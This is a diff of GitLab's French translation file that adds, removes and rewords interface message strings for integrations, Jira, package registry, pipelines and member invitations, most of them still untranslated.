@@ -14095,6 +14504,24 @@ msgstr "URL de l’hôte Gitea"
msgid "Gitea Import"
msgstr "Importation depuis Gitea"
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr "Retour"
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr "URL du groupe"
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr "Avatar de groupe"
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr "Les groupes peuvent également être imbriqués en créant des %{subgrou
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr "Fréquemment consultés"
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr "Récupérer les adresses de courriel des utilisateurs"
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr "Connecter des dépôts provenant de"
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr "Les tickets peuvent être des bogues, des tâches ou des sujets de discu
msgid "Issues closed"
msgstr "Tickets clos"
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr "Menu déroulant des actions sur les étiquettes"
msgid "Label lists show all issues with the selected label."
msgstr "Les listes étiquetées affichent tous les tickets ayant l’étiquette sélectionnée."
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr "En savoir plus"
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr "Chargement des statistiques de contribution des membres du groupe"
@@ -18332,6 +18807,9 @@ msgstr "Gérer toutes les notifications"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr "Gérez les applications pouvant utiliser GitLab en tant que fournisseur OAuth et les applications que vous avez autorisées à utiliser votre compte."
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr "Gérez les applications que vous avez autorisées à utiliser votre compte."
@@ -18371,6 +18849,9 @@ msgstr "Importation de fichier manifeste"
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr "Membres"
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr "Demande de fusion"
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr "Approbations de la demande de fusion"
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr "La liste des jalons n’est pas disponible avec votre licence actuelle"
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr "Plus"
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr "Nom"
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr "Jamais"
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr "Nouvelle étiquette"
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,8 +20974,8 @@ msgstr ""
msgid "No estimate or time spent"
msgstr "Aucune estimation ou temps passé"
-msgid "No file chosen"
-msgstr "Aucun fichier sélectionné"
+msgid "No file chosen."
+msgstr ""
msgid "No file hooks found."
msgstr ""
@@ -20529,6 +21025,9 @@ msgstr "Aucune licence. Tous droits réservés"
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr "Ouh là, êtesâ€vous sûr(e) ?"
msgid "Open"
msgstr "Ouvrir"
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,12 +21827,15 @@ msgstr "Ouvrir la barre latérale"
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
-msgstr "Ouvert"
+msgid "OpenAPI"
+msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
msgstr ""
+msgid "Opened"
+msgstr "Ouvert"
+
msgid "Opened MRs"
msgstr ""
@@ -21329,6 +21848,9 @@ msgstr "Ouvert"
msgid "Opens in a new window"
msgstr "Ouvrir dans une nouvelle fenêtre"
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr "Options"
msgid "Or you can choose one of the suggested colors below"
msgstr "Ou vous pouvez choisir l’une des couleurs suggérées ciâ€dessous"
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr "Paquets"
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr "Commit"
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr "Nom de branche ou d’étiquette existant"
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr "Arrêter le pipeline numéro %{pipelineId} ?"
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr "Veuillez accepter les conditions générales d’utilisation avant de co
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,12 +23186,12 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
-msgstr "Veuillez résoudre le reCAPTCHA"
-
msgid "Please try again"
msgstr "Veuillez réessayer"
+msgid "Please try and refresh the page. If the problem persists please contact support."
+msgstr ""
+
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
msgstr ""
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr "Étiquettes prioritaires"
msgid "Prioritized label"
msgstr "Étiquette prioritaire"
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,8 +23693,8 @@ msgstr "a fait une contribution privée"
msgid "Profiles|Main settings"
msgstr "Paramètres principaux"
-msgid "Profiles|No file chosen"
-msgstr "Aucun fichier choisi"
+msgid "Profiles|No file chosen."
+msgstr ""
msgid "Profiles|Notification email"
msgstr ""
@@ -23498,6 +24083,9 @@ msgstr "Vous avez atteint la limite de votre projet"
msgid "ProjectOverview|You must sign in to star a project"
msgstr "Vous devez vous authentifier afin de pouvoir ajouter une étoile à un projet"
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr "Identifiant de projet : %{project_id}"
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
